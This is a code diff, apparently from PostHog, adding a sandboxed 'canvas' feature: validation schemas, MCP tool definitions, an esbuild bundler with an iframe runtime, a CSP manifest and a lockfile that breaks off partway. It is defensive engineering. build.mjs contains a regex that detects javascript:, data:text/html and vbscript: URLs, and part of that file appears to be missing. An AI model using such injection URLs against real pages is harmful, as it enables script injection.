'Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog\/quill, recharts, lucide-react, dayjs) at their pinned versions.' + ), + canvasSdkVersion: zod + .string() + .optional() + .describe('Version of the host-injected `ph` canvas SDK the project targets.'), + capabilities: zod + .object({ + posthog: zod.object({ + insights: zod + .array( + zod + .string() + .max(canvasesPublishCreateBodyProjectOneCapabilitiesOnePosthogInsightsItemMax) + ) + .max(canvasesPublishCreateBodyProjectOneCapabilitiesOnePosthogInsightsMax), + inlineQueries: zod.boolean(), + captureEvents: zod + .array( + zod + .string() + .max( + canvasesPublishCreateBodyProjectOneCapabilitiesOnePosthogCaptureEventsItemMax + ) + ) + .max(canvasesPublishCreateBodyProjectOneCapabilitiesOnePosthogCaptureEventsMax), + }), + network: zod.object({ + origins: zod + .array( + zod + .url() + .max(canvasesPublishCreateBodyProjectOneCapabilitiesOneNetworkOriginsItemMax) + ) + .max(canvasesPublishCreateBodyProjectOneCapabilitiesOneNetworkOriginsMax), + }), + }) + .optional() + .describe( + 'Bounded capabilities frozen into the built artifact. Declare every insight short id the canvas loads, every event it captures, and inlineQueries when it runs ad-hoc HogQL — the host enforces these at runtime and validation rejects undeclared `ph` calls.' + ), + }) + .describe("A canvas's multi-file source project — the canonical write format for canvas source.") + .describe('The complete source project to publish.'), + prompt: zod + .string() + .optional() + .describe('Short description of the change, stored on the appended version history entry.'), + name: zod + .string() + .max(canvasesPublishCreateBodyNameMax) + .optional() + .describe('Optional new display name for the canvas.'), + expected_current_version_id: zod + .string() + .nullish() + .describe( + 'Optimistic-concurrency guard: the current_version_id the publisher based its edits on (null when it read a canvas with no versions yet). When the canvas has since moved past it the publish is rejected with a 409 version_conflict instead of overwriting the newer head. Omit to publish unguarded.' + ), + }) + .describe('Payload for publishing a complete canvas source project.') + +/** + * Move the canvas's head back to an existing source version and rebuild it. + */ +export const CanvasesRevertCreateBody = /* @__PURE__ */ zod + .object({ + version_id: zod.uuid().describe('Id of the source version to make the head again.'), + expected_current_version_id: zod + .uuid() + .nullable() + .describe('Current source version observed before requesting the revert.'), + }) + .describe("Payload for reverting the canvas's head to an existing source version.") + +/** + * Validate a candidate source project without publishing it. Side-effect free. + */ +export const canvasesValidateCreateBodyProjectOneAssetsContentMax = 2796204 + +export const canvasesValidateCreateBodyProjectOneAssetsContentRegExp = new RegExp( + '^(?:[A-Za-z0-9+\/]{4})\*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?$' +) +export const canvasesValidateCreateBodyProjectOneCapabilitiesOnePosthogInsightsItemMax = 128 + +export const canvasesValidateCreateBodyProjectOneCapabilitiesOnePosthogInsightsMax = 100 + +export const canvasesValidateCreateBodyProjectOneCapabilitiesOnePosthogCaptureEventsItemMax = 200 + +export const canvasesValidateCreateBodyProjectOneCapabilitiesOnePosthogCaptureEventsMax = 100 + +export const canvasesValidateCreateBodyProjectOneCapabilitiesOneNetworkOriginsItemMax = 2048 + +export const canvasesValidateCreateBodyProjectOneCapabilitiesOneNetworkOriginsMax = 20 + +export const CanvasesValidateCreateBody = /* @__PURE__ */ zod + .object({ + project: zod + .object({ + schemaVersion: zod.number().describe('Source-project schema version. Currently always 1.'), + files: zod + .record(zod.string(), zod.string()) + .describe("Project files keyed by relative path (forward slashes, no '..')."), + assets: zod + .record( + zod.string(), + zod.object({ + encoding: zod.enum(['base64']).describe('\* `base64` - base64'), + contentType: zod + .enum([ + 'image/png', + 'image/jpeg', + 'image/gif', + 'image/webp', + 'image/svg+xml', + 'font/woff', + 'font/woff2', + 'application/wasm', + 'application/octet-stream', + ]) + .describe( + '\* `image\/png` - image\/png\n\* `image\/jpeg` - image\/jpeg\n\* `image\/gif` - image\/gif\n\* `image\/webp` - image\/webp\n\* `image\/svg+xml` - image\/svg+xml\n\* `font\/woff` - font\/woff\n\* `font\/woff2` - font\/woff2\n\* `application\/wasm` - application\/wasm\n\* `application\/octet-stream` - application\/octet-stream' + ), + content: zod + .string() + .max(canvasesValidateCreateBodyProjectOneAssetsContentMax) + .regex(canvasesValidateCreateBodyProjectOneAssetsContentRegExp), + }) + ) + .optional() + .describe('Optional base64-encoded binary assets keyed by safe project-relative paths.'), + entryHtml: zod.string().describe('The project\'s entry HTML file. Currently always \"index.html\".'), + dependencies: zod + .record(zod.string(), zod.string()) + .optional() + .describe( + 'Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog\/quill, recharts, lucide-react, dayjs) at their pinned versions.' + ), + canvasSdkVersion: zod + .string() + .optional() + .describe('Version of the host-injected `ph` canvas SDK the project targets.'), + capabilities: zod + .object({ + posthog: zod.object({ + insights: zod + .array( + zod + .string() + .max(canvasesValidateCreateBodyProjectOneCapabilitiesOnePosthogInsightsItemMax) + ) + .max(canvasesValidateCreateBodyProjectOneCapabilitiesOnePosthogInsightsMax), + inlineQueries: zod.boolean(), + captureEvents: zod + .array( + zod + .string() + .max( + canvasesValidateCreateBodyProjectOneCapabilitiesOnePosthogCaptureEventsItemMax + ) + ) + .max(canvasesValidateCreateBodyProjectOneCapabilitiesOnePosthogCaptureEventsMax), + }), + network: zod.object({ + origins: zod + .array( + zod + .url() + .max(canvasesValidateCreateBodyProjectOneCapabilitiesOneNetworkOriginsItemMax) + ) + .max(canvasesValidateCreateBodyProjectOneCapabilitiesOneNetworkOriginsMax), + }), + }) + .optional() + .describe( + 'Bounded capabilities frozen into the built artifact. Declare every insight short id the canvas loads, every event it captures, and inlineQueries when it runs ad-hoc HogQL — the host enforces these at runtime and validation rejects undeclared `ph` calls.' + ), + }) + .describe("A canvas's multi-file source project — the canonical write format for canvas source.") + .describe('The candidate source project to validate.'), + }) + .describe('Payload for validating a candidate source project without publishing it.') diff --git a/products/canvas/mcp/tools.yaml b/products/canvas/mcp/tools.yaml new file mode 100644 index 000000000000..dc751bf030b9 --- /dev/null +++ b/products/canvas/mcp/tools.yaml @@ -0,0 +1,158 @@ +# MCP tool definition — tool entries are scaffolded from the OpenAPI schema. +# The tool list and operation IDs are kept in sync automatically: +# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all +# +# To enable a tool, set enabled: true and add required scopes + annotations. +# All other fields (title, description, enrich_url, etc.) are yours to configure. +category: Canvas +feature: canvas +url_prefix: / +ui_apps: {} +tools: + canvas-builds-retrieve: + operation: canvases_builds_retrieve + enabled: true + scopes: + - canvas:read + annotations: + readOnly: true + destructive: false + idempotent: true + title: Read canvas build status + description: > + Read a canvas's build lifecycle: `published_build_id` (the live build), `current_version_id`, and the most + recent builds with their status (queued/building/ready/failed) and structured diagnostics. A publish queues + a build; poll this until the build you queued is terminal — `ready` (the live pointer advances) or `failed` + (fix the error diagnostics and publish again; the last good build stays live). Do not finish a canvas task + while its build is still queued or building. + param_overrides: + id: + description: ID of the canvas whose builds to read. + canvas-create: + operation: canvases_create + enabled: true + scopes: + - canvas:write + annotations: + readOnly: false + destructive: false + idempotent: false + title: Create canvas + description: > + Create a new, empty canvas in a channel. Returns the canvas's id and (null) `current_version_id`; give it + source by publishing a project with canvas-publish-create. Only create a canvas when no existing one is the + intended target — list them with canvas-list first. + param_overrides: + channel_id: + description: Id of the channel to create the canvas in (resolve it with channel-list). + canvas-edit-create: + operation: canvases_edit_create + enabled: true + scopes: + - canvas:write + annotations: + readOnly: false + destructive: false + idempotent: false + title: Edit canvas source files + description: > + Publish per-file edits against a canvas's current source, without resending the whole project. Each + operation sets a file's complete content, or deletes it when `content` is null. + `expected_current_version_id` is REQUIRED (from canvas-source-retrieve; null only for a never-published + canvas) — a stale base is rejected with 409 version_conflict; re-read the source, re-apply, and edit again. + The edited project is validated first; error diagnostics reject the whole edit atomically. + param_overrides: + id: + description: ID of the canvas whose source to edit. + canvas-list: + operation: canvases_list + enabled: true + scopes: + - canvas:read + annotations: + readOnly: true + destructive: false + idempotent: true + title: List canvases + description: > + List the project's canvases (newest first), optionally scoped to one channel via `channel`. Use this to + resolve which canvas a request refers to before reading or publishing source. + param_overrides: + channel: + description: Only return canvases in this channel (channel id). + canvas-publish-create: + operation: canvases_publish_create + enabled: true + scopes: + - canvas:write + annotations: + readOnly: false + destructive: false + idempotent: false + title: Publish canvas source project + description: > + Publish the COMPLETE source project of a canvas as its new head version and queue a server-side build. The + project is validated first — error diagnostics reject the publish (400) and leave the canvas untouched. Pass + `expected_current_version_id` (from canvas-source-retrieve) so a concurrent edit is rejected with 409 + version_conflict instead of overwritten; on conflict, re-read the source, re-apply your edits, and publish + against the new head. A 429 means the team's build capacity is exhausted — wait a moment and retry. Declare + the canvas's runtime capabilities (insights, capture events, inline queries) in `project.capabilities`. The + canvas lives in PostHog, not on disk — this tool is what saves it. + param_overrides: + id: + description: ID of the canvas whose source to publish. + canvas-source-retrieve: + operation: canvases_source_retrieve + enabled: true + scopes: + - canvas:read + annotations: + readOnly: true + destructive: false + idempotent: true + title: Read canvas source project + description: > + Read a canvas's source project and its `current_version_id`. Always call this before editing a canvas: edit + the returned files, then publish the complete project with canvas-publish-create, passing the + `current_version_id` you read as `expected_current_version_id` so concurrent edits are not overwritten. + Canvases that predate multi-file projects are presented as a synthetic project whose `src/canvas.tsx` holds + the React component. + param_overrides: + id: + description: ID of the canvas whose source to read. + canvas-validate-create: + operation: canvases_validate_create + enabled: true + scopes: + - canvas:read + annotations: + readOnly: true + destructive: false + idempotent: true + title: Validate canvas source project + description: > + Validate a candidate canvas source project without publishing it. Returns structured diagnostics (severity, + code, message, file, line); `valid: false` means a publish would be rejected. Side-effect free — call it as + often as needed while iterating, and fix every error-severity diagnostic (including undeclared-capability + errors) before publishing. + param_overrides: + id: + description: ID of the canvas the project is for. + canvases-build-action-create: + operation: canvases_build_action_create + enabled: false + canvases-destroy: + operation: canvases_destroy + enabled: false + canvases-partial-update: + operation: canvases_partial_update + enabled: false + canvases-retrieve: + operation: canvases_retrieve + enabled: false + canvases-revert-create: + operation: canvases_revert_create + enabled: false + canvases-versions-retrieve: + operation: canvases_versions_retrieve + enabled: false diff --git a/products/canvas/package.json b/products/canvas/package.json new file mode 100644 index 000000000000..1f1137bc4e01 --- /dev/null +++ b/products/canvas/package.json @@ -0,0 +1,9 @@ +{ + "name": "@posthog/products-canvas", + "scripts": { + "prebackend:test": "npm ci --ignore-scripts --omit=dev --prefix packages/canvas_builder", + "backend:test": "pytest -c ../../pytest.ini --rootdir ../.. backend/tests -v --tb=short" + }, + "dependencies": {}, + "devDependencies": {} +} diff --git a/products/canvas/packages/canvas_builder/build.mjs b/products/canvas/packages/canvas_builder/build.mjs new file mode 100644 index 000000000000..04f06d4e630e --- /dev/null +++ b/products/canvas/packages/canvas_builder/build.mjs @@ -0,0 +1,374 @@ +import { Scanner } from '@tailwindcss/oxide' +import { build } from 'esbuild' +import { createHash } from 'node:crypto' +import { readFileSync } from 'node:fs' +import { createRequire } from 'node:module' +import path from 'node:path' +import { fileURLToPath } from 'node:url' +import { compile } from 'tailwindcss' + +// The platform contract (pinned dependencies, CSP, size limits) is shared with +// the Python validator and the artifact origin via manifest.json — edit it +// there, never inline here. +const contract = JSON.parse(readFileSync(new URL('./manifest.json', import.meta.url), 'utf8')) +const admitted = Object.fromEntries( + Object.entries(contract.dependencies).map(([name, entry]) => [name, [entry.version, entry.url]]) +) +const runtimeImports = contract.runtimeImports +const csp = contract.csp +const builderDirectory = path.dirname(fileURLToPath(import.meta.url)) +const builderRequire = createRequire(import.meta.url) +const htmlTag = /<(script|link)\b[^>]*>/gi +const htmlAttribute = /([a-zA-Z][\w-]*)\s*=\s*(?:"([^"]*)"|'([^']*)')/g +const forbiddenHtml = /(?:src|href)\s*=\s*["']\s*(javascript|data:text\/html|vbscript)/i +const extensions = ['', '.ts', '.tsx', '.js', '.jsx', '.css', '.json', '.svg', '.txt'] +const runtimePath = 'assets/canvas-runtime.js' +const runtime = `(()=>{const channel="posthog-canvas",pending=new Map;let sequence=0,port;const post=(message)=>port?.postMessage({channel,...message});const call=(method,payload)=>new Promise((resolve,reject)=>{const id=String(++sequence);const timer=setTimeout(()=>{pending.delete(id);reject(new Error("Canvas request timed out"));},30000);pending.set(id,{resolve,reject,timer});post({type:"data-request",id,method,payload});});const receive=(event)=>{if(event.data?.channel!==channel||event.data?.type!=="data-response")return;const request=pending.get(event.data.id);if(!request)return;pending.delete(event.data.id);clearTimeout(request.timer);event.data.ok?request.resolve(event.data.result):request.reject(new Error(event.data.error??"Canvas request failed"));};const capture=(event,properties,distinctId)=>{const normalized=properties??{};let serialized;try{serialized=JSON.stringify(normalized)}catch{throw new Error("Canvas capture properties must be serializable")};if(typeof serialized!=="string"||serialized.length>16384)throw new Error("Canvas capture properties are too large");return call("capture",{event,properties:normalized,distinctId})};const openExternal=(value)=>{const url=new URL(value);if(url.protocol!=="https:"||!(url.hostname==="posthog.com"||url.hostname.endsWith(".posthog.com")))throw new Error("Canvas external URL is not allowed");post({type:"open-external",url:url.href})};window.ph={loadInsight:(shortId,options)=>call("loadInsight",{shortId,dateRange:options?.dateRange}),query:(query,params)=>call("query",typeof query==="string"?{hogql:query,params:params??{}}:{query,params:params??{}}),capture,openExternal};addEventListener("message",(event)=>{if(port||event.source!==parent||event.data?.channel!==channel||event.data?.type!=="connect"||!event.ports[0])return;port=event.ports[0];port.addEventListener("message",receive);port.start();if(document.readyState!=="loading")post({type:"ready"});if(document.readyState==="complete")post({type:"rendered"});});addEventListener("error",(event)=>post({type:"error",message:event.message||"Canvas runtime error",stack:event.error?.stack}));addEventListener("unhandledrejection",(event)=>post({type:"error",message:event.reason instanceof Error?event.reason.message:String(event.reason),stack:event.reason instanceof Error?event.reason.stack:undefined}));addEventListener("DOMContentLoaded",()=>post({type:"ready"}));addEventListener("load",()=>post({type:"rendered"}));})();` +const platformStylesheet = ` +@import "tailwindcss"; +@import "@posthog/quill/tokens.css"; +@import "@posthog/quill/color-system.css"; +@import "@posthog/quill/base.css"; +@import "@posthog/quill/primitives.css"; +@import "@posthog/quill/tailwind.css"; +@custom-variant dark (&:where(.dark, .dark *)); +` + +// Entry references (module scripts, stylesheets) parsed attribute-order- +// insensitively: `` + html = html.includes('') ? html.replace('', `${head}`) : `${head}${html}` + files.unshift(artifact(project.entryHtml, html)) + const manifest = { + entryHtml: project.entryHtml, + assets: files.map(({ path, contentHash, sizeBytes }) => ({ path, contentHash, sizeBytes })), + dependencies: project.dependencies, + canvasSdkVersion: project.canvasSdkVersion, + capabilities: project.capabilities ?? { + posthog: { insights: [], inlineQueries: false, captureEvents: [] }, + network: { origins: [] }, + }, + ...legacy, + } + return { contractVersion: 1, status: 'ready', diagnostics: [], manifest, files } +} + +let input = '' +for await (const chunk of process.stdin) { + input += chunk +} +try { + const request = JSON.parse(input) + process.stdout.write(JSON.stringify(await buildCanvas(request.project))) +} catch (error) { + process.stdout.write( + JSON.stringify({ + contractVersion: 1, + status: 'failed', + diagnostics: [diagnostic('invalid_build_request', error instanceof Error ? error.message : String(error))], + }) + ) +} diff --git a/products/canvas/packages/canvas_builder/manifest.json b/products/canvas/packages/canvas_builder/manifest.json new file mode 100644 index 000000000000..2f2783c00851 --- /dev/null +++ b/products/canvas/packages/canvas_builder/manifest.json @@ -0,0 +1,37 @@ +{ + "$comment": "Single source of truth for the canvas platform contract. Loaded by build.mjs (bundling), the Python validator/build service (products/canvas/backend/source.py), and the artifact origin's CSP (products/canvas/backend/presentation/artifacts.py). The desktop app's freeform whitelist is asserted against this file by a contract test.", + "canvasSdkVersion": "0.1.0", + "dependencies": { + "react": { "version": "19.0.0", "url": "https://esm.sh/react@19.0.0" }, + "react-dom": { "version": "19.0.0", "url": "https://esm.sh/react-dom@19.0.0?external=react" }, + "@posthog/quill": { + "version": "0.3.0-beta.18", + "url": "https://esm.sh/@posthog/quill@0.3.0-beta.18?external=react,react-dom" + }, + "recharts": { "version": "2.15.0", "url": "https://esm.sh/recharts@2.15.0?external=react,react-dom" }, + "lucide-react": { "version": "1.21.0", "url": "https://esm.sh/lucide-react@1.21.0?external=react" }, + "dayjs": { "version": "1.11.13", "url": "https://esm.sh/dayjs@1.11.13" } + }, + "runtimeImports": { + "react/jsx-runtime": "https://esm.sh/react@19.0.0/jsx-runtime", + "react-dom/client": "https://esm.sh/react-dom@19.0.0/client?external=react" + }, + "allowedImportSpecifiers": [ + "react", + "react-dom", + "react-dom/client", + "@posthog/quill", + "recharts", + "lucide-react", + "dayjs" + ], + "csp": "sandbox allow-scripts; default-src 'none'; base-uri 'none'; object-src 'none'; form-action 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'none'; img-src 'self' data: blob:; font-src 'self' data:; media-src 'self' data: blob:; worker-src 'self' blob:", + "limits": { + "maxSourceFiles": 64, + "maxSourceFileBytes": 524288, + "maxSourceTotalBytes": 2097152, + "maxArtifactFiles": 256, + "maxArtifactFileBytes": 4194304, + "maxArtifactTotalBytes": 12582912 + } +} diff --git a/products/canvas/packages/canvas_builder/package-lock.json b/products/canvas/packages/canvas_builder/package-lock.json new file mode 100644 index 000000000000..4be1d3573056 --- /dev/null +++ b/products/canvas/packages/canvas_builder/package-lock.json @@ -0,0 +1,1377 @@ +{ + "name": "@posthog/canvas-builder", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "@posthog/canvas-builder", + "dependencies": { + "@posthog/quill": "0.3.0-beta.18", + "@tailwindcss/oxide": "4.3.1", + "dayjs": "1.11.13", + "esbuild": "0.25.0", + "lucide-react": "1.21.0", + "react": "19.0.0", + "react-dom": "19.0.0", + "recharts": "2.15.0", + "tailwindcss": "4.3.1" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", + "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@base-ui/react": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@base-ui/react/-/react-1.6.0.tgz", + "integrity": "sha512-/jzjTWJYXhRFO45Bev9lc3cHbmjzCMpUqbMZ2AgKy/z25mY9B6shGSNcXcjQar9n5doM0KYW1W8fcFv2jZBuMw==", + "license": "MIT", + "peer": true, + "dependencies": { + "@babel/runtime": "^7.29.2", + "@base-ui/utils": "0.3.1", + "@floating-ui/react-dom": "^2.1.8", + "@floating-ui/utils": "^0.2.11", + "use-sync-external-store": "^1.6.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui-org" + }, + "peerDependencies": { + "@date-fns/tz": "^1.2.0", + "@types/react": "^17 || ^18 || ^19", + "date-fns": "^4.0.0", + "react": "^17 || ^18 || ^19", + "react-dom": "^17 || ^18 || ^19" + }, + "peerDependenciesMeta": { + "@date-fns/tz": { + "optional": true + }, + "@types/react": { + "optional": true + }, + "date-fns": { + "optional": true + } + } + }, + "node_modules/@base-ui/utils": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@base-ui/utils/-/utils-0.3.1.tgz", + "integrity": "sha512-gFFiltORVmW/N6IILTGxizP3PBpVpysqML1ALY5Vk0mH+7faVkCknOU31goYHN5Aoek2dkjxva1XOD2Ce9WuIg==", + "license": "MIT", + "peer": true, + "dependencies": { + "@babel/runtime": "^7.29.2", + "@floating-ui/utils": "^0.2.11", + "reselect": "^5.2.0", + "use-sync-external-store": "^1.6.0" + }, + "peerDependencies": { + "@types/react": "^17 || ^18 || ^19", + "react": "^17 || ^18 || ^19", + "react-dom": "^17 || ^18 || ^19" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.0.tgz", + "integrity": "sha512-O7vun9Sf8DFjH2UtqK8Ku3LkquL9SZL8OLY1T5NZkA34+wG3OQF7cl4Ql8vdNzM6fzBbYfLaiRLIOZ+2FOCgBQ==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.0.tgz", + "integrity": "sha512-PTyWCYYiU0+1eJKmw21lWtC+d08JDZPQ5g+kFyxP0V+es6VPPSUhM6zk8iImp2jbV6GwjX4pap0JFbUQN65X1g==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.0.tgz", + "integrity": "sha512-grvv8WncGjDSyUBjN9yHXNt+cq0snxXbDxy5pJtzMKGmmpPxeAmAhWxXI+01lU5rwZomDgD3kJwulEnhTRUd6g==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.0.tgz", + "integrity": "sha512-m/ix7SfKG5buCnxasr52+LI78SQ+wgdENi9CqyCXwjVR2X4Jkz+BpC3le3AoBPYTC9NHklwngVXvbJ9/Akhrfg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.0.tgz", + "integrity": "sha512-mVwdUb5SRkPayVadIOI78K7aAnPamoeFR2bT5nszFUZ9P8UpK4ratOdYbZZXYSqPKMHfS1wdHCJk1P1EZpRdvw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.0.tgz", + "integrity": "sha512-DgDaYsPWFTS4S3nWpFcMn/33ZZwAAeAFKNHNa1QN0rI4pUjgqf0f7ONmXf6d22tqTY+H9FNdgeaAa+YIFUn2Rg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.0.tgz", + "integrity": "sha512-VN4ocxy6dxefN1MepBx/iD1dH5K8qNtNe227I0mnTRjry8tj5MRk4zprLEdG8WPyAPb93/e4pSgi1SoHdgOa4w==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.0.tgz", + "integrity": "sha512-mrSgt7lCh07FY+hDD1TxiTyIHyttn6vnjesnPoVDNmDfOmggTLXRv8Id5fNZey1gl/V2dyVK1VXXqVsQIiAk+A==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.0.tgz", + "integrity": "sha512-vkB3IYj2IDo3g9xX7HqhPYxVkNQe8qTK55fraQyTzTX/fxaDtXiEnavv9geOsonh2Fd2RMB+i5cbhu2zMNWJwg==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.0.tgz", + "integrity": "sha512-9QAQjTWNDM/Vk2bgBl17yWuZxZNQIF0OUUuPZRKoDtqF2k4EtYbpyiG5/Dk7nqeK6kIJWPYldkOcBqjXjrUlmg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.0.tgz", + "integrity": "sha512-43ET5bHbphBegyeqLb7I1eYn2P/JYGNmzzdidq/w0T8E2SsYL1U6un2NFROFRg1JZLTzdCoRomg8Rvf9M6W6Gg==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.0.tgz", + "integrity": "sha512-fC95c/xyNFueMhClxJmeRIj2yrSMdDfmqJnyOY4ZqsALkDrrKJfIg5NTMSzVBr5YW1jf+l7/cndBfP3MSDpoHw==", + "cpu": [ + "loong64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.0.tgz", + "integrity": "sha512-nkAMFju7KDW73T1DdH7glcyIptm95a7Le8irTQNO/qtkoyypZAnjchQgooFUDQhNAy4iu08N79W4T4pMBwhPwQ==", + "cpu": [ + "mips64el" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.0.tgz", + "integrity": "sha512-NhyOejdhRGS8Iwv+KKR2zTq2PpysF9XqY+Zk77vQHqNbo/PwZCzB5/h7VGuREZm1fixhs4Q/qWRSi5zmAiO4Fw==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.0.tgz", + "integrity": "sha512-5S/rbP5OY+GHLC5qXp1y/Mx//e92L1YDqkiBbO9TQOvuFXM+iDqUNG5XopAnXoRH3FjIUDkeGcY1cgNvnXp/kA==", + "cpu": [ + "riscv64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.0.tgz", + "integrity": "sha512-XM2BFsEBz0Fw37V0zU4CXfcfuACMrppsMFKdYY2WuTS3yi8O1nFOhil/xhKTmE1nPmVyvQJjJivgDT+xh8pXJA==", + "cpu": [ + "s390x" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.0.tgz", + "integrity": "sha512-9yl91rHw/cpwMCNytUDxwj2XjFpxML0y9HAOH9pNVQDpQrBxHy01Dx+vaMu0N1CKa/RzBD2hB4u//nfc+Sd3Cw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.0.tgz", + "integrity": "sha512-RuG4PSMPFfrkH6UwCAqBzauBWTygTvb1nxWasEJooGSJ/NwRw7b2HOwyRTQIU97Hq37l3npXoZGYMy3b3xYvPw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.0.tgz", + "integrity": "sha512-jl+qisSB5jk01N5f7sPCsBENCOlPiS/xptD5yxOx2oqQfyourJwIKLRA2yqWdifj3owQZCL2sn6o08dBzZGQzA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.0.tgz", + "integrity": "sha512-21sUNbq2r84YE+SJDfaQRvdgznTD8Xc0oc3p3iW/a1EVWeNj/SdUCbm5U0itZPQYRuRTW20fPMWMpcrciH2EJw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.0.tgz", + "integrity": 